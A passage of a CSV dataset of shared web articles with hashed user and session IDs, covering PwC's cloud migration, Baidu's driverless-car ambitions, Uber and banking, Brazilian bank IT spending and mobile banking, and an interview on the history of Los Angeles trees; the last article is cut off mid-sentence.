1464757196,CONTENT SHARED,1354035119798779232,8968131284214320024,1716399213369127536,,,,HTML,https://www.digitalpulse.pwc.com.au/large-scale-transformation-google-pwc/,Making your business fit for the future,"How do you shift the working habits of thousands of employees to ensure they are fit for the future? That was the task facing PwC in 2015. Here, Chief Digital Officer John Riccio talks about the experience of implementing large-scale digital transformation. Six months ago, we began the process of moving PwC Australia's collaboration tools to the cloud. We would be using Google's Apps for Work platform for everything from emails to meetings, to sharing documents. In our personal lives, it's something we've been used to for over a decade - Gmail launched in 2004 offering a revolutionary 1GB storage per customer. So the interface and the foundation were nothing new to our users. I was used to digital transformation projects. After all, I led the build of PwC Australia's Digital Services business from scratch and have helped clients on this journey for over a decade. So you'd imagine that turning our own ship, albeit a firm of over 6,000 employees, would have been relatively straightforward. By and large, we've all accepted that the cloud is the future. According to research by IDC, businesses are expected to be spending US$127 billion on cloud services by 2018. However, there's a huge leap between acknowledging the future and actually importing it. Throughout the process of moving our organisation to the cloud, I'll admit we sometimes found ourselves on a battleground between absurdity and reality. Now, as we emerge on the other side, with the majority of the firm's employees finally rolled onto the new platform, what has this transformation taught us - and what can other leaders embarking on a large-scale digital transformation program take from this experience? Implementing technology is the easy bit Going back ten or 15 years, large technological change meant you had to build it, implement it, host it, configure it and get it all going. The service we were moving to was cloud-based, software-as-a-service. As such, there's actually not a lot to do technically. You configure it, secure it and adopt it - and it works! In the same way that you wouldn't have a problem 'adopting' Facebook, all you have to do is sign up. The technical issues we've had to deal with have been around security and infrastructure. Most of that is, do we have enough bandwidth to use the product? Basically, pipes going in and out of buildings and good wifi: that has been the number one issue! Not, does the product work? The effort, it turns out, had to be put in elsewhere. You have to stop living in the present (and the past) We're all up against competitive pressures. Everyone's spinning faster on the hamster wheel just to stay in the same spot. Imagine a supermarket that, faced with the need to remain competitive, halves the price of milk. To achieve like-for-like annual sales, it now has to sell twice the amount of milk. In the context of technological change, everyone is too focused on the present - scurrying harder to keep pace, working to a benchmark defined in terms of past performance. No one is thinking about the future: How can I work more efficiently? How do I embrace new technology? And most importantly: How do I save some of this effort by doing things differently? This applies to almost any innovation. Go forth and conquer - you don't conquer by staying in the same spot. So, one of the key elements of this project was rebooting the prevailing mindset. Our mission wasn't to replace calendar with calendar, email with email. We were taking an email and calendar solution as well as a suite of other productivity tools and moving to a fresh paradigm. The new platform would enable users to collaborate, engage and communicate in a different way. If done properly, it would in fact lead to less email and less reliance on those traditional tools. Getting people to understand this paradigm shift is the essential first step to true buy-in. Users are transfixed by what they know - whether they like it or not Being under the cosh of bad technology sometimes looks like Stockholm Syndrome : captives develop feelings of empathy or respect for their kidnappers, however irrational that may be. In our case, let's call that Lotus Notes - polled as one of the greatest cons for PwC employees globally. We know for a fact that staff and partners hate using it. Yet, when we announced that we were moving to a new email platform, there was resistance, especially from the leaders of the business. They didn't want change and they feared the unknown (even when it took the form of something very familiar). Now, imagine if we were asking users to ditch a product that they actually liked . From a mindset perspective, if it's that hard to move people on from what they hate, normal change presents an even bigger challenge. You will be faced with absurd situations It's unfair to lay all the blame at Lotus Notes' door. In fact, we were beholden to our own captors: risk and global policy. What this meant was that during the pilot scheme, we weren't permitted to roll out the new technology in all its glory. We took a product that normally works out of the box, on any platform, on any device... and then we broke it. For example, by chipping Gmail into a risk-averse shape, the platform was confined to certain devices and subject to policies that restricted the use of it, such as limiting who you were allowed to message. What were staff supposed to do with this new email service? Use it to swap recipes? It wasn't doing what it was great at, it wasn't making anyone's lives easier - and therefore staff weren't signing up to the pilot. Sometimes, you need to take the axe to policy instead Let's face it: a dogmatically imposed blanket policy means that staff are going to break the rules. In that situation your actual risk profile is huge, because all the policies in the world won't save you if they're ignored. We weren't willing to have policies in place if they would be broken. So we got rid of the ones that weren't contributing to a realistic position (this was assisted by wielding the stick of imposing absolute compliance under current technology and practices). Many of these policies were either written 20 years ago or by people that did not understand the paradigm of today's digital world. Even some of our clients' policies place further restrictions on us because they too are living in yesterday's world. Businesses are no longer building big, custom software applications that take three years to complete. We're agile, innovative, we move fast - and we break things! Don't be afraid to smash a few untenable policies here and there. Strong leaders will make it happen This isn't a story about the cloud and it's not a story about 'going Google'. It's actually about making a journey into a future that has already arrived. Implementing technology is relatively easy. Encouraging acceptance, maintaining engagement and adopting a commercial, pragmatic and realistic approach in the face of dogged frameworks - now there's the real effort! As such, the success of a transformation of this scale will be predicated by the ability to get the 'softer' elements in place first. You cannot do this without the right support. Before embarking on such a program, ensure that it's sponsored by someone that has the power to make decisions across the firm. Don't even think about taking the product out of its box until leaders of the business can be held accountable for its implementation. And, long before you toe the start line, make sure you're holding the baton that empowers you to remove, change or rewrite policy. A large-scale digital transformation journey requires solid leadership that's willing to challenge the status quo and able to champion tomorrow's world. Otherwise, modern technology will just be overlaid on outdated thinking. If that becomes the case, we might as well climb back onto the hamster wheel and continue running nowhere.",en
1464758200,CONTENT SHARED,-7904267039294833672,8968131284214320024,1716399213369127536,,,,HTML,https://www.techinasia.com/china-worlds-driverlesscarsonly-city-baidu-ceo,China will have the world's first driverless-cars-only city: Baidu CEO,"At China's recent Big Data Industry Summit, not everybody was interested in talking about big data. Baidu's Robin Li, who gave a speech at the summit, is more interested in the role big data can play in the development of artificial intelligence. So he used big data as a springboard from which he made some interesting comments about artificial intelligence, and the future of one particular application: driverless cars Here's a full translation of Robin Li's speech : Hello everyone, today I'd like to talk about a topic that's related to big data but not exactly the same thing: artificial intelligence (AI). The term ""artificial intelligence"" first popped up around 60 years ago, and for the next 50 or so years it remained pretty obscure, nobody really paid attention to it. When I was studying in America [in the early 1990s], I really enjoyed the AI classes, but when I finished my studies I found that nobody in the outside world approved of it, because there were no real commercial applications for AI. In recent years, why has AI gotten so hot? The main reason is big data, which is why I say that the two are closely related. Every day there is more and more data being produced, and we're using it to get computers to do things that previously only humans could do. And in addition to the fact that data is getting more plentiful, computing power is getting more plentiful too. To put it another way: computers are getting more and more powerful even as their costs drop. Because we've got good, cheap computing power and big data, now we can realize a lot of technological ideas like voice recognition, image recognition, natural language processing, autonomous driving, etc. Although obviously autonomous driving is still being researched. Just now the Premier mentioned big data several times, a lot of it relating to the government's perspective. That is to say, the government has all of this data, and what they want to do is release and share it. I'm looking forward to China becoming the world's leading AI tech country So I'm thinking: how should companies make use of their data? An important key here is insight. This term was also mentioned by one of the guests at the Premier's conference yesterday. So what is insight? Everyone knows that Copernicus came up with the theory of heliocentricity, which was very advanced at the time. He used all kinds of logical reasoning to support this theory, but he didn't have the support of big data. 100 years later an astronomer from Denmark painstakingly gathered all kinds of astronomical data, including the movements of the planets, over the course of 20 years. But he didn't have any insight into the data, so he still wasn't able to convince people the earth rotated around the sun. But his assistant Kepler used all of that data in combination with his own insight. Looking at the movements every day, it looked random, but with all of that data, if you looked at the same day from each year, the pattern became fairly clear. That was Kepler's insight, so later he discovered the oval orbits of the planets, successfully explaining what previously couldn't be explained. It was only because of his work that heliocentricity became widely accepted. In terms of companies, we're grateful to the government for making all kinds of data public, and we should try very hard to find the insights, and make the data produce the value it ought to produce. AI is a field that makes use of big data, and its influence will probably be no less than big data's. AI will change every trade and every industry. More and more things that we used to think only people could accomplish will be done by machines. If industrialization liberated people from physical labor, AI may well liberate us from mental labor. Right now this is probably most felt in the area of driverless cars. Just a few days ago we did a press conference with the Anhui city of Wuhu. Wuhu is setting up a special zone where driverless cars can be tested, and cars with drivers won't be allowed. I'm really excited; I truly believe that the world's first city with only driverless cars will be in China. We've also been discussing testing opportunities with the city of Guiyang. Driverless cars is one classic example of an AI application. It uses a computer and wheels to replicate what a human driver can do; it can see, hear, understand, and process data. One driverless car in one day can process tens of terabytes of data. That's huge. And these cars probably won't need the internet, or at least won't need to rely on it, since there are always some places with poor signal and you can't just have the car shut off. So, the example of driverless cars tells us that AI can really do a lot. Perhaps our next technological revolution won't just be built on the foundation of big data, but more on the foundation of artificial intelligence. Baidu has invested a lot in AI over the past ten years, and in the future we hope to further develop and push forward Chinese AI with all of our industry colleagues here. I'm looking forward to China becoming the world's leading AI tech country, and seeing the first city that only allows driverless cars appear in China. Thank you!",en
1464779061,CONTENT SHARED,-3739000323288188282,5660542693104786364,-3233094848086427792,,,,HTML,http://motherboard.vice.com/read/why-uber-is-killing-the-bank-and-what-that-means-for-everything-else,Why Uber Is Killing the Bank (And What That Means for Everything Else),"Everyone wants to be the Uber of something. In Silicon Valley over the last couple of years, I think VCs probably heard the ""we are the Uber of ..."" pitch more times than there are atoms in the universe. (That's probably a slight exaggeration, but you get the idea.) The fact is, however, that the Uberization of the world is undermining long-held business models, and nowhere is that more apparent than in financial services. In 2015, Uber came and visited Moven's offices in New York City and asked us to pitch for their business to enable new Uber drivers to seamlessly get a bank account at the time of sign up. At the time, they told me a stat that blew my mind: in some cities across the US, upwards of 30 percent of new drivers applying had never had a bank account. Prior to signing up for Uber, they had been in the cash economy only, but the incentives for driving with Uber were enough to pull them out of the cash economy and into the banking system. If only they could get a bank account. Uber is now opening bank accounts for drivers as part of the driver onboarding process. As I pointed out in my previous blog on this , this makes Uber one of the largest acquirers of small business, entrepreneur bank accounts in the United States today-a phenomenal statistic. (Meanwhile, major banks are closing branches at a rapid clip , some even announcing closures of half their branches or more.) So that's pretty cool, but why does this represent a fundamental shift for banking? Uber is one of a handful of companies focusing on redesigning the way we experience the world through technology. This is not simply about process automation or appification of the world, it's about rethinking day-to-day events, interactions and experiences through a new lens of what is possible. In their positioning against Uber , the New York City taxi companies classify Uber as a simple ""taxi hailing"" app, but that's selling Uber's rethink of the taxi experience short. Uber went back to first principles: The company didn't start by redesigning how taxis worked, it went after rethinking the entire journey experience. Uber didn't build a taxi app, it built a journey experience that happened to include driver onboarding, driver performance management, billing and payments, hailing/ordering, driver bank account opening, and many other capabilities. Banking and payments now just became embedded into an experience that had been reimagined from top to bottom. The Uberization of the world is not about creating a ubiquitous app in a specific sector, but redesigning the world around us for optimal technology-based interactions that don't require humans. Some examples might include ordering McDonald's or Starbucks via self-serve technology, having our groceries or Amazon packages delivered by a robot , an autonomous self-driving Uber car ride , a smartwatch that can predict a heart attack before we even know we've got an emerging health problem, and so forth. McDonald's has tested these kiosks for letting customers customize their meals. Image: Andy Cross/Denver Post/Getty Over the next 5-10 years, we're pretty much going to need to redesign most service interactions around these new embedded technology interactions. To do that we're going to need some new building blocks: Experience design This is really what Uber taught us. The best experiences in the future will be designed optimally around new technologies integrated into our daily lives. These aren't iterations or sticking a mobile banking app on your phone, this is changing the way a bank fits in your life. So instead of buying a mortgage from a bank, you simply just go out and buy a home or an apartment and the ability to access credit is designed into the home buying experience. As a gigging economy worker, instead of setting up a company, going to a branch to open a bank account, and then struggling to build up credit history so you can grow your business, this will all be redesigned into a process that helps an entrepreneur incubate their new startup. (My startup Moven is working on something similar to this with the Freelancers Union based in New York, the largest association of gigging economy workers in the USA.) You won't buy a car loan from a bank, you'll just buy a car and have credit options built into the purchase. You won't get a credit card from a bank, you'll just get access to credit in a store on your phone. AI eliminates humans In my new book Augmented I tackled this in a lot more detail, but simply put, AIs have massive data synthesis capabilities that enable them to suck in tons of data and provide more accurate and better personalized advice than you'd get from a human advisor like a lawyer, account, bank teller or financial advisor. Integrating advice into our world through new experiences supported by AIs and algorithms will give us incredible, augmented real-time decision making that simply isn't possible with human advisors in a bank branch. For example, you might tell your personal AI in your handset that you want to limit your spending to $50 per day so that you can save for that holiday at the end of the year, and your phone will tell you when you are getting close to that limit. You might walk into a car dealership and your augmented reality glasses will have an app showing you which cars you can afford comfortably. The market might take an unexpected turn and stock prices could start plummeting, but your robo-advisor can already have adjusted your portfolio without having to wait for your instructions. Hundreds of thousands of daily interactions are about to get a reboot. Humans just can't compete with machine intelligences that are dedicated to tasks involving the synthesis of information in a predictable format or method, and that can react in real-time with context when required. Voice Alexa, or Amazon Echo, is just the first primitive application of voice-based commerce that is going to revolutionize the way we think about commerce and payments. In the TV spots for Echo, actor Alec Baldwin can be seen ordering $200 cashmere Bresciani socks, snacks and supplies for the Super Bowl, and other purchases simply by telling Alexa to ""re-order a pair of Bresciani socks."" This is an early example of how voice, AI and commerce will change very quickly over the next few years. Bots, agents and voice commerce will give rise to a world where 60-70 percent of commercial transactions will be machine-to-machine. None of them will require the swipe of a plastic card. In fact, you won't even need a card at all-Alexa will just be linked to your bank account and manage payments automatically (based on your controls or preferences). Just like Uber showed us how to re-think the journey, Alexa and voice will allow us to rethink tasks like booking a restaurant, movie tickets, flights and other day-to-day commerce interactions. Blockchain When there are one trillion sensors embedded in IoT devices around the world, we'll need to track these assets, and enable machine-to-machine interactions in an intelligent way that doesn't involve humans tapping keys on a keyboard. Automation of interactions between these machines, including for commercial interactions, will be coded on top of a new way of tracking these assets, how they are supposed to work (e.g. legal contracts), and how they pay and get paid for those tasks, when required. A self-driving car may be owned by a community in the future (say you and your friends, or by you and some co-workers), but in its downtime it could log on to the Uber network for a few hours and make itself available as an autonomous vehicle. If you live in a city like Boston, Chicago or Los Angeles, you may not need to own a vehicle in 10 or 15 years, but you could either rent car time or you could own a share of a vehicle and get so many hours a week of access. Just because that vehicle isn't owned by Uber doesn't mean it won't get paid when it drives for Uber on their network, but that car will obviously need a bank account or wallet to get paid. That ""value-store"" will just be a type of digital wallet sitting on the blockchain and it won't need to be linked to an individual-it could be dedicated to the car. This type of scenario would mean Uber gets access to resources that can be used dynamically to manage load, but Uber won't need to own those vehicles. The owner(s) of autonomous vehicles can generate some cash on the side by renting them out to Uber or some other autonomous network where they could monetize capacity. The blockchain is emerging as the new operating system by which these new experiences can be implemented at scale, in real-time, without the need for humans. The Uber of Banking is not a company, or a new banking app. It is a design philosophy that will render most of what is considered a ""bank"" today unworkable in the Augmented Age or the redesigned world we're moving to. The value creators of tomorrow are those that will figure out how value can be embedded in this world, and without friction-forms that require signatures, or humans sitting in a building that tick a box that says yes, you can get that loan , or no, you can't . The value of Uber is in redesigning the experience of getting from point A to point B in its entirety. And that is just one of hundreds of thousands of daily interactions that are about to get a reboot. Brett King is an Amazon bestselling author, the host of Breaking Banks Radio Show, a globally recognized speaker, and the founder and CEO of the mobile banking startup Moven. His latest bestseller Uber Earth is Motherboard's exploration of the ways Uber has already changed the world and how it stands to do so in the future. Follow along . AUGMENTED: Life in the Smart Lane is out now .",en
1464779739,CONTENT SHARED,-8370744479086515302,1895326251577378793,2217251992734926463,,,,HTML,http://computerworld.com.br/mobile-banking-conquista-o-coracao-dos-brasileiros,Mobile banking conquista o coração dos brasileiros,"Depois das facilidades trazidas pelos serviços oferecidos via Internet, agora chegou a vez do mobile banking conquistar o coração dos brasileiros. Aos poucos, os smartphones revolucionam a forma como as pessoas se relacionam com o setor financeiro. Segundo dados da Febraban, o número de transações realizadas através de dispositivos móveis no Brasil saltou de 4,7 bilhões para 11,2 bilhões entre 2014 e 2015. O volume representa um aumento brutal da ordem de 138%. A escalada da mobilidade no setor financeiro foi intensa, ainda mais se considerarmos que esse canal registrava menos de 1% do total de operações realizadas em 2012. Atualmente, já responde por 21% dentre um total de 54 bilhões de transações realizadas nos 17 maiores bancos em atividade no País. Grande parte (95%) das operações realizadas através do mobile banking no ano passado são classificadas como movimentação não financeira, ou seja, referem-se a serviços de consulta de saldos e extratos, por exemplo. Apesar disso, o telefone celular se consolidou como ferramenta de relacionamento entre correntistas e seus bancos. ""O cliente pede e se mostra cada vez mais interessado na utilização desse canal"", enfatiza Gustavo Fosse, diretor setorial de tecnologia e automação bancária da Febraban, projetando que o uso acentuado da mobilidade se mantenha forte pelos próximos anos. O executivo baseia suas apostas nas estimativas do IBGE, que estima que 40% dos brasileiros possuem um smartphone atualmente. Esse percentual deve subir para 65% em 2020. ""Isso mostra espaço para o serviço avançar"", resume, citando que atualmente, 33 milhões de brasileiros usam mobile banking. Vetor digital Considerando todos os canais eletrônicos (web, mobile e POS), o digital respondeu por 69% das transações registradas nos bancos brasileiros em 2015. O internet banking registrou 17,7 bilhões de transações no último ano, pouco abaixo das 18 bilhões verificadas em 2014. A representatividade do canal caiu de 37% para 33%, talvez influenciada pelo avanço da mobilidade. Porém, segundo Fosse, mais pessoas têm utilizado a rede mundial de computadores para se relacionarem com instituições financeiras no Brasil. ""Tivemos um crescimento de 6 milhões de contas correntes que passaram a utilizar o canal entre 2014 e 2015"", cita o executivo, apontando que, atualmente, 62 milhões de brasileiros usam internet banking. ""A tecnologia se mostra um grande indutor da bancarização no Brasil"", avalia Fosse, comentando que 89,6% dos brasileiros já se relacionam com o sistema financeiro tradicional. Para suportar os avanços dos canais eletrônicos, a indústria investe pesado em TI. No último ano, o segmento aplicou nada menos que R$ 19 bilhões em projetos de tecnologia .",pt
1464780050,CONTENT SHARED,5401376580769090495,1895326251577378793,2217251992734926463,,,,HTML,http://computerworld.com.br/bancos-brasileiros-destinaram-r-192-bilhoes-esforcos-de-ti-em-2015,"Bancos brasileiros aplicaram R$ 19,2 bilhões em esforços de TI em 2015","Os bancos brasileiros destinaram R$ 19,2 bilhões a esforços de tecnologia da informação ao longo de 2015. Segundo a Febraban, os recursos classificados como investimentos foram da ordem de R$ 5 bilhões, enquanto as despesas somaram R$ 14 bilhões no período. Do montante, 44% foi aplicado em software, 35% em hardware e 20% em telecom. O total verificado representa queda frente aos R$ 21 bilhões alocados em TI pelas instituições financeiras no ano anterior. Na ocasião, o setor investiu R$ 8 bilhões. As despesas, em 2014, foram da ordem de R$ 13 bilhões. Gustavo Fosse, diretor setorial de tecnologia e automação bancária da Febraban, classifica a retração no montante investido no comparativo anual à redução no preço de commodities e ao fato que, nos períodos anteriores, empresas como Itaú e Bradesco haviam realizado aportes intensos na construção de novos data centers. ""Há também uma mudança na forma como alguns bancos vem adquirindo tecnologia"", pondera o executivo, sinalizando que a contratação de recursos de cloud computing finalmente começa a aparecer no radar dos CIOs das instituições bancárias. Fosse salienta, por exemplo, que a compra de TI ""como serviço"" é caracterizada contabilmente como ""despesa"", o que justificaria a redução de R$ 3 bilhões no montante alocado em investimentos no comparativo anual. Os números da federação revelam queda na proporção de recursos alocados para aquisição de hardware, de 40% para 35% nos últimos 12 meses. Porém, o dinheiro destinado a software teve um salto de 39% para 44% entre 2014 e 2015. Na opinião da Febraban, o contexto alinha-se à redução nos gastos do setor verificada ao redor do mundo. Os investimentos e despesas globais em tecnologias pela indústria financeira foram de US$ 351 bilhões em 2015, contra US$ 362 bilhões no ano anterior e pouco abaixo dos US$ 354 bilhões em 2013. De acordo com a associação, o setor bancário brasileiro é responsável por 13% do mercado brasileiro de TI. O percentual verificado no mercado local é proporcional ao gastos globais da vertical de finanças com informática. A amostra contempla dados fornecidos por 17 bancos, que representam 93% dos ativos dessa indústria no Brasil. O País é o 7º colocado entre os países que mais aplicam recursos em TI no setor bancário em comparação ao PIB e lidera entre as nações que compõem o bloco dos Brics.",pt
1464783555,CONTENT SHARED,-5025556998520984849,-2979881261169775358,-8484425977452857078,,,,HTML,https://www.kcet.org/shows/lost-la/how-did-la-become-a-city-of-palms-and-other-questions-about-californias-trees,How Did L.A. Become a City of Palms?,"It's the dead of winter, but the Southland's urban forest knows no season. Skyduster palms sway in the breeze. Sprawling Indian laurel figs shade sidewalks. The broad leaves of Southern magnolias soak up the January sun. How did Los Angeles become an evergreen city? Aqueducts mean these trees won't soon thirst for water in the Southland's semiarid climate. But the region's urban forest also owes its existence to a generation of agricultural innovators, amateur gardeners, nursery operators, and others who brought trees from exotic locales like or to improve -- to "" emparadise "" -- a landscape they found lacking. In his magnificent new book, "" Trees in Paradise: A California History ,"" environmental historian Jared Farmer tells the story of this landscape revolution -- among many others. For example: California's vegetable giants inspired awe around the world, but the state nearly reduced the entirety of its vast coast redwood forest to stumps. Also: immigrant labor sustained Southern California's Orange Belt, yet it was rarely acknowledged in the idyllic scenes created for picture postcards and citrus crate labels. I asked Farmer to elaborate on some of the themes he raises in his book. Images from L.A. as Subject member archives accompany our conversation, which you can read below. Nathan Masters: Much of the action in the first part of your book, about California's two redwood species, takes place far north of Southern California. How is the Los Angeles area connected to these trees' stories? Jared Farmer: My story of giant sequoia is primarily about how the Big Trees entered national and international consciousness, and I write more about New York and London than Los Angeles. With the coast redwood old-growth forest, however, Southern California is very much implicated in the story of its liquidation. For example, the original bleachers at the Rose Bowl -- 28 linear miles -- were made of coast redwood. Pasadena's famous Craftsman bungalows were, too. To get from San Diego to Yuma, early motorists crossed the forbidding Algodones Dunes on a redwood plank road (a forerunner of I-8). All over the Golden State, people drew water from redwood tanks and pipes, and buried their dead in redwood caskets. From the late nineteenth through the mid twentieth century, Californians used redwood for almost everything: harbor piles, railroad ties, telephone poles, tanning vats, shingles, fence posts, boxes, pencils -- you name it. Indeed, until 1914, when the North Coast finally gained a direct rail connection to the transcontinentals and when the Panama Canal opened, redwood lumber was essentially an all-California resource, made and used and wasted at home. Even after 1914, Californians used the bulk of the resource. At the Port of Los Angeles, oil and oranges went out by barge; redwood lumber came in. The Southern California dream of homeownership was framed and finished with heartwood from one of the mightiest forests in world history. NM: You're fond of sharing two poems about eucalyptus, one vilifying the tree and the other praising it. What's the final verdict -- where do you stand? JF: Yeah, I love the fact that Robinson Jeffers wrote a sonnet in praise of eucalyptus: I love it when the past surprises us and compels us to investigate the origin of things. The millions of eucalypts you see throughout the Golden State did not result from bioinvasion; they originated with human desire. Californians of earlier generations wanted these trees. Today, we are the caretakers of their horticultural choices. I'm puzzled that the debate on California eucs has for some three decades been stuck in good-or-evil polemics when there's actually a lot of room for middle ground. As I wrote in a recent op-ed , it matters less where the trees came from originally than how they fit in now. From this point of view, eucalyptus belongs in some parts of California and not in others. Context means everything. NM: Almost all of California's human inhabitants are immigrants to the state, in one way or another. So are most of its trees. Are these two statements related? JF: Absolutely. The most cosmopolitan U.S. state has the most varied flora. That's not a coincidence. Immigrants from all corners of the globe have here tried growing anything and everything -- including trees from their places of origin. Of course, it helps that lowland California -- more than any other North American region -- has a climate suitable for a wide variety of temperate, Mediterranean, and sub-tropical plants. NM: So has the fact that so many ""immigrant trees"" populate California's landscapes influenced cultural attitudes toward human immigrants? Or is it the reverse? JF: These issues don't line up in the past the way you might expect. In U.S. history, at least, botanical xenophobia and actual xenophobia have rarely occurred together. Many leading conservationists of the late nineteenth and early twentieth centuries were in fact racists, nativists, and even eugenicists, but these people supported plant introductions more often than they opposed them. I'll give you an example. Abbot Kinney, one of the principal promoters of eucalyptus planting (and founder of Venice and the namesake of Kinney Boulevard), wrote a book in 1893 about the ""religion of reproduction."" In it he argued for the spiritual calling and the civic duty of procreative sex. Educated married couples of ""native American stock"" -- by which he meant white people -- needed to reject contraception lest their race go extinct, and lest the nation be overrun with the illiterate children of hyperreligious immigrants of undesirable races. Yet Kinney, despite his horticultural interests, did not draw any analogies to the plant kingdom; he passed up the easy rhetorical move to liken immigrants to weeds. Inversely, when Californians initially turned against eucalyptus trees in the 1880s, they did not compare unwanted specimens to despised foreigners such as the Chinese. (And during the two world wars, jingoistic Americans failed to call for a war on German ivy or for the removal of the Japanese cherry trees from the National Mall.) NM: Your book explores four types of trees: redwoods, citrus, eucalypts, and palms. If you'd found room for a fifth tree, what would it be? JF: I'm pretty sure my editor would have balked at a proposed fifth section! Besides, I was able to cover almost everything I wanted to cover with these four types: native and non-native species; wild and agricultural and ornamental and symbolic plants; trees in Southern California, the north, the Central Valley, the coast, and the desert; trees on private and public land; trees in wilderness areas, nature parks, urban streets, suburban yards, and corporate farms. So for me the question becomes, ""Should I have substituted another type for one of my four?"" For my agricultural tree, I suppose I could have used the state's current number-one commercial tree, , or another one of the historically important tree crops such as or , but honestly nothing matches the former economic and symbolic importance of citrus. My only second-guessing concerns oak trees. My rationale (rationalization?) for excluding -- California's quintessential indigenous tree type, and the one with the deepest history with the greatest number of native peoples -- was that I could explore the theme of indigeneity through the negative example of eucalyptus, the state's most famous non-native tree. Since I was committed to starting my story in 1848, the year the U.S. vanquished Mexico and the year Americans discovered gold, I stand by my choice of eucalyptus, which was introduced in the early 1850s. However, had I written a book that started in 1769 (the founding of California's first mission) or earlier, I certainly would have chosen oaks instead of eucs. I'm afraid that writing any book, even a long one like mine, is more about omission than inclusion. If you accept Philip Fradkin's division of California into "" seven states ,"" my book slights two of them: the lava country of the northeast (Fradkin's ""Land of Fire"") and the Mojave Desert (including its iconic Joshua trees). You just can't do everything! NM: How did become such a potent symbol of L.A.? And when you look into the future, do you see their iconic status eroding away, much as pepper trees lost theirs? JF: You're right: A century ago, the iconic street tree of Los Angeles was not any kind of palm, but the pepper tree ( Schinus molle ), a species of sumac native to the arid zone of South America, with its distinctive feathery foliage and scarlet berries. This tree served as Southern California's answer to the weeping willow. On my book's Facebook page , I've posted vintage postcards and greeting cards that just show just how emblematic pepper trees used to be. Today, I bet most Angelenos wouldn't be able to pick one out from a line-up of trees. (If you want to get a sense of what the L.A. treescape once looked like, drive around Rancho Palos Verdes and Rolling Hills Estates, which still have splendid peppers.) Palms replaced peppers in the built environment and the psychic landscape of L.A. for a few reasons. First, many of the pioneer pepper trees were torn out in the early twentieth century because they acted as a reservoir for black scale, an insect that damaged citrus groves. In 1930 Los Angeles followed the example of the citrus colonies and banned further street planting of the species. Meanwhile, in the 1920s and 1930s, L.A. was busy building its modern grid of automobile boulevards, and the city's newly established Division of Forestry was looking for standardized street trees. In advance of hosting the Tenth Olympiad in 1932, City Hall announced a 10-year plan -- a Depression-relief works project -- to set thousands of trees along major boulevards. Metropolitan foresters chose not to reproduce the familiar street trees from the pioneer era -- acacias, eucalypts, and peppers. In the age of streetside parking, sidewalks, sewers, and utility poles, these leafy, rooty growers acquired bad reputations. In contrast, palms held out the promise of symbiotic infrastructure: they could provide beautification without dropping fruit, buckling concrete, or breaking pipes and wires. The species planted most prevalently by city crews was Mexican fan palm ( Washingtonia robusta ), native to Sonora and Baja. City officials probably had no inkling these seedlings would grow so tall. The species wasn't singled out for aesthetics. Rather, it was hardy and it was cheap. Prior to the mid twentieth century, when these uniform rows of Mexican fan palms reached maturity, fronds were not a leading feature of the urban landscape, despite the fact that tourism boosters had incessantly advertised the palminess of Greater Los Angeles. The most visible species was Canary Island date palm ( Phoenix canariensis ), which wealthy homeowners habitually planted in pairs along their front walkways. Although San Diego, Santa Barbara, Redlands -- and even Sacramento -- were decades ahead of Los Angeles in cultivating a palmy landscape, L.A. had better boosters. ""We used to go down to the Capitol Theater in Sioux City, Iowa, and sit there and watch Bing Crosby movies,"" recalled one transplant, ""and I said, 'Man, is that what it's like out there? I got to get out there!' See how naive we were. Why, hey. They could paint those palm trees in the back of those movie sets as fast as you could leave."" Thanks to the entertainment industry, Mexican fan palms acquired associations with sex, glamour, and celebrity. As it happened, the city's roadside plantings achieved spectacular heights in the same era that Hollywood became a dominant force in global entertainment. All of those thousands of films and TV shows shot outdoors in postwar Los Angeles cemented an association in people's minds: tall, skinny palms = L.A. Mexican fan palms became the icon of verticality in the postwar metropolis, complementing the freeway, the icon of horizontality. The city won't lack for palms any time soon. However, the era of the ""skyduster"" Mexican fan palm will end later this century as the even-age cohort of street trees passes away. Since fan palms don't provide adequate ""ecosystem services"" such as shade, city councilors approved a policy in 2006 not to replace them -- with exemptions given to Hollywood and Sunset boulevards. The city prefers queen palm ( Syagrus romanzoffiana ), a feather palm that grows more densely and compactly. Over time, then, L.A's skyline will become less distinctive, with fewer and fewer bundles of fronds floating high above the freeways catching the last warm light of the setting sun. Fifty years from now, the tallest palms in Southern California will be in Orange County and the Inland Empire. Film crews may have to go there to get their ""L.A."" establishing shots. Or they may just digitally add some high-rise palms. NM: Whenever the subject of trees in Southern California comes up, I'm always asked about jacarandas. In your research, did you find any satisfying explanations for how they became such a distinctive part of the region's arboreal landscape? JF: I didn't do any focused research on jacaranda trees, but here's what I learned in passing. The species commonly seen in Southern California, Jacaranda mimosifolia , native to South America, was championed by Kate Sessions, the great landscaper of San Diego and mother of Balboa Park. Before her, jacarandas showed up on the species lists of societies representing the acclimatization movement -- a nineteenth-century global effort, parallel to European imperialism, to ""scientifically"" introduce desirable species to favorable environments. Acclimatizers wanted to increase what we would now call local biodiversity, and they had no compunctions about using non-native species. Jacarandas became popular in Australia as well as California, one more example of the arboreal and aesthetic connections across the Pacific (a topic examined by historians and Ian Tyrrell ). The California capital of the acclimatization movement, Santa Barbara, boasted of its jacaranda, also called ""Green-Ebony."" The plant also became fashionable in the colonies of the Citrus Belt from Pasadena to Redlands, in part because it looked spectacular in bloom and in part because it didn't harbor scale insects that hurt orange trees. The citrus colonies -- among the wealthiest and most beautifully landscaped places in America in their heyday -- set the regional fashion trends in trees far more than Los Angeles. Charles Saunders, the prolific nature and garden writer from Pasadena, commented in 1916 that driving Foothill Boulevard (the precursor of the 210 freeway) ""is nothing short of entrancing"" in early June ""when the jacaranda trees are a cloud of blue."" (By the way, I haven't seen it, but one of final episodes of California's Gold by the late Huell Howser took up the question whether jacarandas are a ""mess"" or a ""miracle."") NM: You're on the East Coast now, but if you lived in Southern California, what trees would you plant in your garden? JF: With climate change, it's only going to get hotter and drier here, so I'd look for drought tolerant species. Since I have a soft spot for Australasian trees, I might be tempted to plant a flowering acacia. But each garden has different needs and constraints. For guidance on picking the right tree for the right spot, Californians can consult a great website managed by the Urban Forest Ecosystems Institute at Cal Poly San Luis Obispo. With some obvious exceptions (species that are thirsty, rooty, messy, invasive, prone to disease, etc.), the more trees the better in the urban Southland. They cool and filter the city's air, among other benefits. The same is not true for lawns -- a water-intensive English landscape tradition that should be abandoned in Southern California except for special-use zones like playing fields. My garden would be proudly lawn-free. If I had enough room, I'd love to plant a native coast live oak ( Quercus agrifolia ). True, I might not live long enough to see it grow to full size, but someone else would. Like the Chinese proverb says, ""The best time to plant a tree was twenty years ago; the second best time is today."" NM: One last question -- do you have a favorite individual tree south of the Tehachapi? JF: I have a couple of favorites, one wild, one planted. The former is a grand specimen of big-cone pine ( Pinus coulteri ) that grows at 